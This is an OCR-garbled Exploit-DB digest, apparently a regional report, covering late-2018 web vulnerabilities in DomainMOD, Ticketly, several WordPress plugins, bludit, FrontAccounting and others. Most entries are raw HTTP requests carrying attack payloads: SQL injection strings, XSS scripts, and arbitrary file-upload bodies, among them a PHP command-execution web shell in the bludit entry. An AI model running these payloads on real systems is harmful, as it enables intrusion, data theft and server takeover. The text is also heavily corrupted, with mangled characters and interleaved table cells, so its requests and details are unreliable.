2018-11-16 45882 File Upload E 3 Helpdezk 1.1.1 - Arbitrary File Content-Length: 374 Helpdezk Helpdezk
Upload 129369180201 1755 1
Content-Disposition: forn-data: name="file":
filename="phpinfo.php"
Content-Type: application/force-down|oad
<?php
phpinfo():
>
1293691802011755:
Content-Disposition: form-data: name="Submit"
Ver Ayari
1293691802011 —
POST /10.0.100.24/assets/edit/registrar-account .php? HTTP/1.1
Host: 10.0.100.24: 1004
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:60.0)
Gecko/20100101
Firefox/60.0
o DomainMOD 4.11.01 - 'raid’ | Accept: i o i DonaintioD
2018-11-16 45883 | Cross-Site Scripting % £ ¢ Site § text/html,application/xhtml+xml ,app!ication/xml;q=0.9,*/+; DomainMoD 4.11.01
ross-Site Scripting Accept-Language: en-US, en;a=0.5
Accept-Encoding: gzip, deflate
Content-Type: appl ication/x-ww-form-ur lencoded
Content-Length: 61
raid=hel |0%22%3E%3Cscr ipt%3Ealer t("XSS" )%3CK2Fscr ipt%3E&de|=1
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POST /ticketly/action/addproject.php HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW4: rv:50.0)
Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: es-ES,esiq=0.8.en-USia=0.5,enia=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/ticket y/projects.php
Content-Type: application/x-www—form-urlencoded; charset=UTF-8
N o g X-Requested-With: XMLHt tpRequest
2018-11-21 45895 SQL Injection % L Ticketly 1.0 _name sa Content-Length: 314 Ticketly Ticketly 1.0
Injection Connection: close
name=Test" RLIKE (SELECT (CASE WHEN (4632=4632) THEN 0x54657374
ELSE 0x28 END)) AND "IrmZ"="I|rmZ&descr ipt ion=Test
name=Test AND EXTRACTVALUE (9139, CONCAT(0x5¢,0x7 176766a71, (SELECT
(ELT(9139=9139,1))) ,0x7178717a71)) AND
"SzZJL"="SZJL&descr iption=Test
name=Test RLIKE SLEEP(5) AND "WKTS'="WkTS&descr iption=Test
POST /eticaretv4/arama.htm|? HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64: rv:50.0)
Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: es—ES.es;0=0.8.en-US:0=0.5.en:0=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-waw-form-ur lencoded: charset=UTF-8
X-Requested-With: XMLHt tpRequest
Content-Length: 26
Connection: close
WebOfisi E-Ticaret V4 - 'urun’ o WebOfisi E-
2018-11-21 45897 SQL Injection % * SQL Injection Kategor i=kategor i=208urun=test") RLIKE (SELECT (CASE WHEN WebOfisi E-Ticarel| rioaret va
(6525=6525)THEN 0x74656474 ELSE 0x28 END)) AND ("YWLa'="YWLa
208urun=test") OR (SELECT 6556 FROM(SELECT
COUNT (*), CONCAT (0x71626b6b71, (SELECT (ELT(6556=6556, 1)) ), 0x7 16b71
6b71,FLOOR(RAND(0)+2) )x FROM INFORMAT ION_SCHEMA.PLUGINS GROUP BY
x)a) AND ("ExaV'="ExaV
kategor i=208urun=test") ; SELECT
BENCHMARK (5000000, MD5 (0x44527964) ) AND ("KGa0"="KGa0
kategor i=208urun=test") OR SLEEP(5) AND ("sDnb"="sDnb
POST /10.0.100.24/wp-admin/post.php HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:56.0)
Gecko/20100101 Firefox/56.0
Accept :
text/html,application/xhtml+xml .application/xnl:q=0.9,%/*:q=0.8
Accept-Language: zh-CN,zh:a=0.8,en-US;0=0.5,en;0=0.3
Accept-Encoding: gzip, deflate
Content-Type: appl ication/x-www-form-ur lencoded
Content-Length: 1954
Connection: keep-alive
Upgrade-Insecure-Requests: 1
_wpnonce=b3ca68p020& wp_ht tp_referer=k2Fwp-admin%2Fpost-
new. pho%3Fpost _type%3Dtest imonial&user_| act ion=editpost&orig
inalaction=editpost&post_author=1&post_type=testimonial&original
_post_status=auto~
draft&referredby=& wp_original_http_referer=8auto_draft=8post_ID
=258meta-box-order-
b2&c| _title=
WordPress Plugins Easy 8 Iepermal inknonce=f ent=testawp- WordPress
- . . y preview=8hidden_post_status=draft&post_status=draft&hidden_post_| wordPress Plugins | Plugins Eas)
2018-11-26 45900 | Cross-Site Scripting # & Testimonials 32 - Cross-Site | acsuora-ghidden_post_visibi |1 ty=publ 108visibi |ty=publ 1680051_p| Eaey Testimon?als Tesfmonia‘g
Scripting asswor d=8aa=2018&mm=118&] j=23&hh=17&mn=12&ss=568h dden_mm=11&cur _ 3.2
mm=11&hidden_j j=23&cur _ 38hi dden_aa=2018&cur _aa=2018&hidden_h
h=178cur _hh=178&nidden_mn=12&cur_mn=128or iginal_publ i sh=%E5%8F%I 1
Sh=%E5%8F%9 ax_inputkoBeasy-
testimonial-categor yk50K58%50=08neweasy-test imonial—
categor y=%E6RIBHBORES%BERBEHE7HB 1%BBRE 7%HOBRAERE SHBORISHESHI0%BD&
neweasy-test imonial-category_parent=-1&_ajax_nonce-add-easy-
testimonial-category=
50089750943my-custom-
fields_wpnonce=b074f 134098 _ikcf_client=[XSS]&_ikcf_email=test%40
test.comd_ikcf_position=[XSS]& ikcf_other=[XSS]&_ikef_rating=18e
cerpt=&met: |ect=%23NONE%2: inpl avalue=8_ajax_
nonce-add-meta=81df7811et
&post_name=8post_grid_post_set tings_input_nonce=95c656b2da& wp_h
ttp_referer=%2Fwp-admin%2Fpost-
new.php%3Fpost_type%3Dtest imonial&post_grid_post_settings%5Bpost
_skin%5D=f lat&post_gr id_post_set t ings%5Beustom_thumb_sour ce%50=h
ttp! F%2Fwww . wor dpr ess . Fwp—contentef i post-
ari t frontendi2F Fimages%2Fplaceholder .pnggpost_g
rid_post_set tings%5Bfont_awesome_icon%50=8p0st_ar id_post_set ting
s%5Bfont_awesome_icon_color%5D=7372728post_gr id_post_set t ings%5B
font_awesome_icon_size%50=50px&post_gr id_post_set t ings%5Bcustom_
youtube_id%50=8post_gr id_post_set tings%58custom_vimeo_i d%50=8pos
t_grid_post_setti dai lymotion_i post_grid_post_
settings%5Beustom_mp3_ur I%50=&post_gr id_post_set tingsk5Bcuston_s
oundc | oud_i d%50=
POST /ticketly/action/addproject.php HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW4: rv:50.0)
Gecko/20100101 Firefox/50.0
Accept: */*
ind id" Accept-Language: es-ES,es:a=0.8,en-US:0=0.5,en:0=0.3
2018-11-06 | 45002 SQL Injection 5 @ Ticketly 1.0 - dindid"SQL | 0 oding: azip, dof late Ticketly Ticketly 1.0
Injection Content-Type: appl ication/x-w~form-ur lencoded: charset=UTF-8
X-Requested-With: XMLHt tpRequest
Content-Length: 20
Connection: close
name="test'or '1'="1"
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2018-11-26

45903

SQL Injection

No-Cms 1.0 - ‘order_by' SQL
Injection

POST /nocms/main/manage_pr ivilege/index/export HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:63.0)
Gecko/20100101 Firefox/63.0

Accept

text/html ,application/xhtml+xnl.application/xml :0=0.9,%/*:q=0.8
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost/nocms/main/manage_privilege
Content-Type: appl ication/x-www—form-ur lencoded
Content-Length: 90

Connection: close

search_text=&search_f ield=/++/&per_page=258order _by[0]="test 'or'
1'="1'8order_by[1]=8page=1

No-Cms

No-Cms 1.0

2018-12-03

45935

Cross-Site Scripting

POST /10.0.100.24/wor dpr ess/wp-admin/post .php HTTP/1.1

Host: 10.0.100.24:1004

Content-Length: 2830

Cache-Control : max-age=0

Origin: http://localhost

Upgrade-Insecure-Requests: 1

Content-Type: app|ication/x-www-form-ur |encoded

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64)
ApplellebKit/537.36 (KHTML, Iike Gecko) Chrome/70.0.3538.110
Safari/537.36

Accept :
text/html,application/xhtml+xml,application/xml:g=0.9, image/webp
. image/apng, */*:0=0.8

Referer: http://localhost/wordpress/wp—

admin/post . php?post=8&act ion=edi t

Accept-Encoding: ozip, deflate

Accept-Language: id-10,id:q=0.9,en-US:q=0.8,en:q=0.7,da:q=0.6

_wpnonce=415211ddcad wp_ht tp_referer=%2Fwor dpresskFup-
adnin%2Fpost . php%3Fpost ion%3Dedi t 18user_|
D=18act ion=edi tpost&or iginalact ion=edi tpost&post_author=1&post_t
ype=acf-field-

group@or iginal_post_status=publ ish&referredby=ht tp%3Ak2F%2F local
host%2Fwor dpr ess%2Fwp-

admin%2Fpost . php%3Fpost%308%26act ion%3Dedi t& wp_or iginal_http_

referer=ht tpk3A%2F%2F | ocal host%2Fwor dpr esskFwp—

admin%2Fpost . phpk3Fpost%308%26act i on%3Dedi t&post_|D=8&meta-box-
order—

nonce=2cc 12cc44 1&c | osedpos tboxesnonce=bbd0be706b&post _t i t le=xss&

WordPress Plugin Advanced-
Custom-Fields 5.7.7 - Cross-Site
Scripting

mal i 1f2ec2808_acf_screen=field_group&_acf_pos
t_id=88& acf_nonce=191e753914& acf_val idation=0& acf_changed=1& a
cf_delete_fields=0%7C9&or iginal _pub|ish=Update&save=Updatedacf_f
ields%5B11%50%58 |0%50=118acf _f ie | ds%5B811%50%5Bkey%50=f ie|d_5c02a
79cc0f838&act _f ieldsk5B11%50%5Bpar ent%50=8&act _f ie|dsk5B11%50%58m
enu_order%5D=08acf_f ie|ds%5811%50%5BsaveksD=set t ingsdacf_fields[
11][1abe| ]=%3Cscr ipt%3Ealer t%28%22| oadingkur akur a%22%29%3Ck2F scr
ipt%3E&acf_f ieldsk5B11%50%5Bname%50=%3Cscr ipt%3Ealer t%28%22 |oadi
ngkurakur a1%22%29%3C%2Fscr iptk3E&aci_f ie|dsoB11%50%6Btype%s0=te
xt&acf_fieldsk5B11%50%5B instruct ionsk50=8acf_fieldsk5B11%50%58r e
quiredk5D=08acf_fieldsk5B11%50%5Br equiredk50=18acf_fieldskoB11%5
D%5Bdefaul t_value%5D=8acf_fields%5811%50%58p | acehol der%5D=8acf _f
iel ds%5B11%50%58pr ep _fieldsk5811%50¢ 0=8acf_
fieldsk5B11%50%58max |engthk50=8acf_f ields%5811%50%58condi tional _
logicbD=08acf_fie|ds%oB11%50%58wr apper %50%5Bwidthk50=8act_field
sk5811%50%5Bwr apper %50%58¢ | assk5D=8act_fiel dsk5B11%50%58wr apper %
50%58 1 dk50=8acf_f el dsk5810%50%

5810%50=108acf_f ields%5B 10%50%5Bkey%50=f iel d_5c02a7abcOf84&acf _f
iel ds%5810%50%58par ent%50=8ac_f el ds%5810%50%58menu_or der %50=1
&acf_fieldsk5B10%50%5BsavekoD=metadact _fie|dsk5B12%50%58 1 0%50=12
&acf_fieldsk5812%50%58key%50=1 ield_5c02a7abc0fB48acf_fieldsk5B12
%50%5Bpar ent%50=88ac _f i el dsk58 12%50%5Bmenu_or der %50=28acf _field
S%5B 12%50%5Bsave%50=metalacf_field_group%58locat ion%50%5Bgroup_0
%50%5Br u | e_0%50%5Bpar antkb0=post _type&acf_field_group%5Blocat ion%
50%58gr oup_0%50%5Br ule_0%5D%5Boper ator %50=%30%30&acf _f ield_group
%5Blocat ionk50%5Bgr oup_0%50%5Br ule_0%5D%5Bval uekbD=post&acf_fiel
d_group®581ocat i on%50%5Bgr oup_0%50%58r ul e_1%50%5Bpar amk50=post_t
ypedacf_field_group5Blocat ion%50%5Bgr oup_0%50%58r ul e_ 1%50%5Bope
rator%50=%30%30&acf_field_gr 50%5Bgr oup_0%5D%5Br ul
e_1%50%5Bval ueSD=post&acf_f ield_groupk5Bact i ve5D=08acf_field_g
roup%5Bact ivek5D=18acf_field_groupkoBsty|e%5D=defaul tdacf_field_
group®58posi tionks0=normal&acf_field_group%sBlabel_placementsssD=
topdacf_field_groupk5Binstruction_placement%50=Iabel&acf_field_g
roupk5Bmenu_or der %50=0&acf_field_group®5Bdescr ipt i onk50=ddd&acf_
field_group%5Bhide_on_screen%50=8acf_field_group%5Bhide_on_scree
n%50%5B%E0=the_ _field_ar oup_5c02a6¢tad
1d6&post_name=group_5c02a6cfa31ds

WordPress Plugin
Advanced-Custom-
Fields

WordPress
Plugin
Advanced-
Custon-Fields:
5.7.7

2018-12-04

45954

Cross-Site Scripting

FreshRSS 1.11.1 - Cross-Site
Scripting

POST /10.0.100.24/wor dpress/wp-admin/post .php HTTP/1.1
Host: 10.0.100.24:1004

Content-Length: 156

Cache-Control : max-age=0

Origin: http://localhost

Upgrade-|nsecure-Requests: 1

Content-Type: app|ication/x-www-form-ur|encoded

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64)
ApplellebKit/537.36 (KHTML, Iike Gecko) Chrome/70.0.3538.110
Safari/537.36

Accept :

text/html,application/xhtml+xml .application/xml:q=0.
., image/apng, */*:0=0.8

Referer: http://localhost/wordpress/wp-

admin/post .php?post=8&act ion=edit

Accept-Encoding: gzip, deflate

Accept-Language: id-10,id:0=0.9,en-US:0=0.8,en:0=0.7,da:0=0.6

. image/webp

%27%22—

fstyl CRipt +sr1 %2f4ciplOh

yi5btaxb.
22%3e%3c%2fscRipt%3e

'"==></style></scRipt><scRipt>netsparker (0x00139F )</scRipt>

%3ciMgtsrck3dN+oner ror%3dnetsparker (0x001DCF)%3e

FreshRSS

FreshRSS
1.11.1

2018-12-04

45049

Cross-Site Scripting

DomainMOD 4.11.01 - Registrar
Cross-Site Scripting

registrar name="><img src=x onerror=alert("Xss-By-Abdul-Raheem")>

Doma i nMOD

Doma i nMOD
4.11.01

18-12-04

45947

Cross-Site Scripting

DomainMOD 4.11.01 - Custom
SSL Fields Cross-Site Scripting

18-12-04

45946

Cross-Site Scripting

Custom SSL="><img src=x oner ror=alert("Xss-By-Abdul-Raheen")>

DomainMoD

Doma 0D
4.11.01

DomainMOD 4.11.01 - Custom
Domain Fields Cross-Site

Scripting

Custom Domain="><img src=x onerror=alert("Xss-By-Abdul-
Raheen" )>

DomainMoD

DomainMOD
4.11.01




EDB-Report
BT WebfEgs 1t L >

N(20184E5E4M4:HA)

2018.10.01~2018.12.31 Exploit-DB(http://exploit-db.com) kD ABIEN TWSREICE IV IEIEIE M > MEHT T,

2018-12-04

45944

SQL Injection

KeyBase Botnet 1.5 - SQL
Injection

GET /10.0.100.24/index.php?type=keyst rokes&machinename=1' RLIKE
(SELECT (CASE WHEN (6432=6432) THEN 1 ELSE 0x28 END)) AND

'CbAF '='CbAF&machinetime=1 HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:
Accept-Language: en-US.en:q=0.5
Accept-Encoding: ozip, deflate

Cookie: PHPSESSID=5Ik3medj631e161bde77ereees;
786e332ae62061df5c64a17076aef3ee=01 i 10seku22m9ar 31 rBavemn2
ONT: 1

Connection: keep-alive

Upgrade~|nsecure-Requests: 1

Content-Type: text/html; charset=UTF-8

RERVAH:

KeyBase Botnet

KeyBase
Botnet 1.5

2018-12-04

45941

Cross-Site Scripting

DomainMOD 4.11.01 - Owner
name Field Cross-Site Scripting

Owner name = "><img src=x onerror=aler t("Xss-By-Abdul-Raheen")>

DomainMOD

OomainM0D
4.11.01

2018-12-05

45955

SQL Injection

GET
/10.0.100.24/ index.php?t y&id=1%31
5%620%;

20 6e
13%54%20%47%52%4 {%

0%3
56%50%5f%643%4 f %6dehd %4

HasanMWB 1.0 - SQL Injection

1%2¢%75!
0%26%30" 0%36%3 1

507 2%6e%6 1%6" C
3 %6 1%2c%7 0%

0 0
61%73%7 3%7 7%6 %7
3%A45%50%4 1%52%4 1%54%4 0%30
SRABKE2A { %AA%0%75%7 3%65%7 2%6292CH3B%2CHIA%2A%2%20%2d HTTP/ 1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html ,application/xhtml+xml,application/xml:g=0.9,+/%:q=0.8
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=5Ik3medj631el61bde77ereeed:

786332266206 1df5c64a17076ae f3ee=01 1 10seku22m9qr 31r r8avemn2
DNT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: text/html: charset=UTF-8

HasanMiB

HasanMiB 1.0

2018-12-09

45959

Cross-Site Scripting

DomainMOD 4.11.01 -
DisplayName’ Cross-Site
Scripting

Displayname="><img src=x onerror=aler t("Xss-By-Abdul-Raheem" )>

Doma i NMOD

Doma i nMOD
4.11.01

18-12-09

45958

Cross-Site Scripting

Adiscon LogAnalyzer < 417 -
Cross-Site Scripting

referer=x22%3e%3Cscr ipt®3Ealert('Cinta%20Infinita’)%3C/script3E

Adiscon
LogAna lyzer

Adiscon
LogAnalyzer <|
4.1.7

45976

SQL Injection

HotelDruid 2.3.0 -
'id_utente_mod" SQL Injection

POST /10.0.100.24/? HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWS4: rv:50.0)
Gecko/20100101 Firefox/50.0

Accept: */*

Accept-Language: es-ES,es:q=0.8,en-US:q=0.5,en:q=0.3
Accept-Encoding: gzip, deflate

Referer: http://localhost/ticket ly/projects.php
Content-Type: application/x-www—form-ur lencoded: charset=UTF-8
X-Requested-With: XMLHt tpRequest

Content-Length: 125

Connection: close

id_utente_mod=1" AND
EXTRACTVALUE (5, CONCAT (0x5¢, CONCAT_WS(0x203a20, USER( ) , DATABASE () ,
VERSION()) . (SELECT

(ELT(55, 1))~ -

HotelOruid

HotelDruid
2.3.0

45975

Cross-Site Scripting

Apache OFBiz 16.11.05 - Cross-
Site Scripting

Short Name=<script>alert(1)</script>

Apache OFBiz

Apache OFBiz
16.11.05

2018-12-11

45967

Cross-Site Scripting

DomainMOD 4.11.01 - Cross-
Site Scripting

Usemame="><img sic=x onerror=alert("Xss-By-Abdul-Raheer')>

Doma i nMOD

DomainMOD
4.11.01

2018-12-11

45963

Cross-Site Scripting

GET /10.0.100.24/ index.php?q=b10g&id=—

201800056%27%20%2( 0%31%2c%

%4

35,

Alumni Tracer SMS Notification
- SQL Injection

Adto4 1%54%49%4 1 %bde%5 eh54%4 1%4:
TABLE_SCHEMA 726061746961 65736368656
61)AND(0xX00) |N(@x: =%43%4 {%4e%43%4 19654 (@x , %64c50%4 1%44 (ENR: =GNR%2
o C

b1,4,0x30),0x3a20, table_name,0; 9
5%20%36%2c%37%2c%38%2d%2d%20%2d HTTP/ 1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:55.0)
Gecko/20100101 Firefox/55.0

Accept :

text/html,application/xhtml+xml .application/xml:
Accept-Language: tr-TR,tr;0=0.8,en-US:0=0.5.en:0=0.3
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=hasj51emnq9caakOpf8hshtmm6
Content-Type: text/html: charset=UTF-8

. */*0=0.8

Alumni Tracer SMS
Notification

Alumni Tracer
SMS

Notification

2018-12-11

45962

SQL Injection

Tourism Website Blog - SQL
Injection

/10.0.100.24/ info.php?addr ess=1%31%32%27%7 %7 c%28%53%65%6c%65%43
454%20%27€ f e%27%20F r oM%20dUAL %20WheRE%20110=110%20AnD%20 ( seLEcT%
20112%201 rOM(SE | ecT%20COUNT (+) , %43%6f%6e%43%4 1%54 ( CONcat (0x203a2
0,UseR(),DAtaBASe () VErsION()) , (%53%65%4ck45%63%74%20(ELT(112=11

2,1))) ,%46%4cH6f%61%52(RANA(0) #2) 0t

967 2%6%6 1%7 4%49%4 f %de%5f 1 50%6:
$653%20gr OUp%20BY%20%7 8%29%6 1%29%29%7 c%7c%27 HTTP/1.1
Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW4: rv:55.0)
Gecko/20100101 Firefox/55.0

Accept :

text/html,application/xhtml+xml application/xml:q=0.9,#/*:q=0.8
Accept-Language: tr-TR,tr:q=0.8,en-US;0=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

ONT: 1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: text/html: charset=UTF-8

5%47%49%4e

Tour isn Website
Blog

Tour ism
Website Blog




2018-12-14

45997

Authentication
Bypass

EDB-Report
BT WebffEgs 1t hL > B

N(20184E5E4M4:HA)

2018.10.01~2018.12.31 Exploit-DB(http://exploit-db.com) kD ABIEN TWSREICE IV IEIEIE M > MEHT T,

Double Your Bitcoin Script
Automatic - Authentication
Bypass

POST /10.0.100.24/admin/index.php HTTP/1.1

Host: 10.0.100.24:1004

User—Agent: Mozil1a/5.0 Windows NT 6.1: WOWB4 AppleWebKit/535.7
KHTML, Iike Gecko Chrome/16.0.912.75 Safari/535.7

Accept: /=

Content-Type: application/x-www-form-ur lencoded: charset=UTF-8
Content-Length: 36

username:
Password:

Double Your
Bitcoin Script
Automatic

Double Your
Bitcoin
Seript

Automatic

45995

Remote Code
Execution

Facebook And Google Reviews
System For Businesses 1.1 -
Remote Code Execution

POST /10.0.100.24/reviews/act ion.php?act on=custom_reviews
HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:55.0)
Gecko/20100101 Firefox/55.0

Accept :

text/html ,application/xhtml+xnl .application/xml:q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr:0=0.8.en-US:0=0.5.en:q=0.3
Accept-Encoding: ozip, deflate

Content-Type: application/octet-strean

Content-Length: 922

Referer: http://localhost/[PATH] /reviews/custom_reviews_add.php
Cookie: PHPSESSID=t7hinak30ga4ies69nnotlj200

ONT: 1

Connection: keep-alive

Upgrade-| nsecure-Requests: 1

~4704926813981: undef ined
Content-Disposition: form-data: name="photo":
filename="phpinfo.php"

<?php

phpinfo():

>

- —=4704926813981
Content-Disposition: form-data: name="hidden_photo"
- 4704926813981
Content-Disposition: form-data: name="name"

Efe

4704926813981

Content-Disposition: form-data: name="rating"
4.5

e ——4704926813981
Content-Disposition: form-data: name="review"
Efe

7777777777777777777 4704926813981
Content-Disposition: form-data; name="date"
12/14/2018

4704926813981
Content-Disposition: forn-data; name="id"

4704926813981
Content-Disposition: form-data: name="submit"
submit

——4704926813981—

Facebook And
Google Reviens
System

Facebook And
Google
Reviews
System For
Businesses
1.1

2018-12-14

45094

sQL Injection

Facebook And Google Reviews
System For Businesses 1.1 -
SQL Injection

/10.0.100.24/reviews/campaign_add. php?  d=%2d%3 1%27%20%20%55%4e%4
o4 odethE3RA5RACKASRATROA 1, %43%4 1 hdekd3%4 1%54%5 f 657%R53%28%30%7

1%54%4 1%42%4 1%53

%4904 f .3,4,5,
562C%39%2C%3 1%30%20%3 1%3 1%2¢%3 1%32%2¢%3 1%633%2¢%3 1%34%2c%3 1%35%2c%
31%36%2%3 1%37%620%3 1%38%20%3 1%39%2c%32630%2cH32%3 1%2C632%32%62C%3
2%33,24, 25, %32%36%20 %3237 %2C%32%38%2C%32%39, 30-—+- HTTP/1.1
Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 6.1: WOW64: rv:55.0)
Gecko/20100101 Firefox/55.0

Accept :

text/html,application/xhtml+xml .application/xml:
Accept-Language: tr-TR,tr;0=0.8,en-US:0=0.5.en:0=0.3
Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=t7hinak30ga4ies69nno1lj2b0

ONT: 1

Connection: keep-alive

Content-Type: text/html: charset=UTF-8

L+

Facebook And
Google Reviews
System

Facebook And
Google
Reviews

System For

Businesses

1.1

SQL Injection

Yeswiki Cercopitheque - ‘id
SQL Injection

POST /10.0.100.24/? HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW4: rv:50.0)
Gecko/20100101 Firefox/50.0

Accept: */*

Accept-Language: es-ES,es:a=0.8,en-US:q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://localhost/ticket y/projects.php
Content-Type: application/x-www—forn-ur lencoded: charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 82

Connection: close

BaZar &vue=expor ter&id=—1 UNION SELECT
1.version(),3,4,5,6,7,8,9,10,11,12,13, 14, 15#

Yeswiki
Cercopi theaue

Yeswiki
Cercopi theque

Cross-Site Scripting

Bolt CMS < 3622 - Cross-Site
Scripting

POST /10.0.100.24/preview/page HTTP/1.1

Host: 10.0.100.24: 1004

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:63.0)
Gecko/20100101 Firefox/63.0

Accept :

text/html,application/xhtml+xml .application/xml:
Accept-Language: tr-TR,tr;0=0.8,en-US:0=0.5.en:0=0.3
Accept-Encoding: gzip, deflate

Content-Type: appl ication/x-www-form-ur lencoded
Content-Length: 396

Connection: close

Upgrade~Insecure-Requests: 1

\*/*:0=0.8

content_edi t%5B_token%50=jMmm4 1dJQXpXx3gwE_VQkABOf dsNoBDERJC | PVk
Yh7Ugedi treferrer=8content type=pages&t i t Ie=%3Cscr ipt%3Ealer t%28%
22Rai f%22%29%3C%2F scr ipt%3E&s lug=scr ipt-alert-raif-

script&i filen50=8&f i1 easer plate=&tax
onomy%58gr oups%50%5BHE0=&taxonomy—

order%58gr oups%50=08&i d=8status=draf t&datepub| ish=2018-12-
07+00%3A12%3A058datedepub | i sh=8owner id=1&_| ive-editor-preview=

Bolt CMS

Bolt CMS <
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46012

Cross-Site Scripting

Integria IMS 5.083 -
‘search_string' Cross-Site
Scripting

POST /10.0.100.24/index.php? HTTP/1.1

Host: 10.0.100.24: 1004

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:63.0)
Gecko/20100101 Firefox/63.0

Accept :

text/html,application/xhtml+xml .application/xml:
Accept-Language: tr-TR,tr;0=0.8.en-US:0=0.5.en:0=0.3
Accept-Encoding: gzip, deflate

Content-Type: appl ication/x-www-form-ur lencoded
Content-Length: 56

Connection: close

Upgrade-Insecure-Requests: 1

\*/*:0=0.8

search="><script>alert(1)</script>

Integria IMS

Integria INS
5.0.83

2018-12-24

48037

SQL Injection

FrontAccounting 24.5 -
‘SubmitUser' SQL Injection

POST /10.0.100.24/frontaccount ing/admin/at tachments .php?
HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:64.0)
Gecko/20100101 Firefox/64.0

Accept :

text/html,application/xhtml+xml ,application/xml;q=0.9,*/*
Accept-Language: en-US.en;a=0.5

Content-Length: 365

=0.8

user_name_entry_f ield=admin&passwor d=1234&company_| ogin_name=08u
i_mode=18Submi tUser =%A0%AOLogi n+——

3E%AORAOS_r andom=831749. 0901435248 _token=1RJINhKRIKsZXu~
uPmBDTAxx&_conf i rmed=8&_modi f ied=08_focus=f i ter TypeBADD_| TEM=Add
‘+newddescr iption=&trans_no=&f il terType=(select+from(select(sleep
(20)))a)&_focus=tfilterType& modi f ied=0& conf i rmed=8_token=0m-
2mt32ZC3UKLAuzPwoFgxx

FrontAccount ing

FrontAccounti
ng 2.4.5

2018-12-24

46013

Cross-Site Scripting

WSTMart 208 - Cross-Site
Scripting

POST /10.0.100.24/ index.php HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:63.0)
Gecko/20100101 Firefox/63.0

Accept :
text/html,application/xhtml+xml,application/xml:q=0.9,*/+:q=0.8
Accept-Language: tr-TR,tr:a=0.8.en-US:a=0.5.en:q=0.3
Accept-Encoding: gzip, deflate

Content-Type: appl ication/x-www—form-ur lencoded
Content-Length: 47

Connection: close

Upgrade-Insecure-Requests: 1

<script>history.pushState('', '*, '/')</script>

WSTMar t

WSTMart 2.0.8

2018-12-27

46061

File Upload

WordPress Plugin Baggage
Freight Shipping Australia 0.1.0
- Arbitrary File Upload

POST /10.0.100.24/wp-content /plugins/baggage-freight/upload-
package.php HTTP/1.1

Host: 10.0.100.24:1004

Content-Type: multipart/form-data: boundary=-—————————————
—————18311719029180117571501079851

—-18311719029180117571501079851
Content-Disposition: form-data; name="submit"
Content-Length: 252

1

— —18311719029180117571501079851
Content-Disposition: forn-data: name="file": filenane="file.php"
Content-Type: audio/wav

<?php phpinfo(upload-package.php):
fffffffffffffffffff 18311719029180117571501079851—

WordPress Plugin
Baggage Freight
Shipping Australia

WordPress
Plugin
Baggage
Freight
Shipping
Australia

2018-12-27

46060

File Upload

bludit Pages Editor 3.0.0 -
Arbitrary File Upload

POST /10.0.100.24/admin/ajax/upload-files HTTP/1.1
Host: 10.0.100.24: 1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:52.0)
Gecko/20100101 Firefox/52.0

Accept: */x

Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.140. 154/admin/new-content
X-Requested-With: XMLHt tpRequest

Content-Length: 413

Content-Type: multipart/form-data: boundary=-——————————-——
—-26228568510541774541866388118

Cookie: BLUDIT-KEY=5s634f6up72tmfi050i4okunf9
Connection: close

10541774541866388118
Content-Disposition: form-data: name="tokenCSRF"

67987ea926223b28949695d6936191d28d32020

10541774541866388118
Content-Disposition: form-data: name="bluditInputFiles[]":
fi lename="poc.php"

Content-Type: image/png

<2php system($_GET["cmd"]1);?>

10541774541866388118——

bludit Pages
Editor

bludit Pages
Editor 3.0.0
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46055

File Upload

WordPress Plugin Audio Record
1.0 - Arbitrary File Upload

POST /10.0.100.24/wp-admin/admin-ajax.php HTTP/1.1
1004

Host: 10.0.100
Content-Type: multipart/form-data; boundary=
18311719029180117571501079851

18311719029180117571501079851
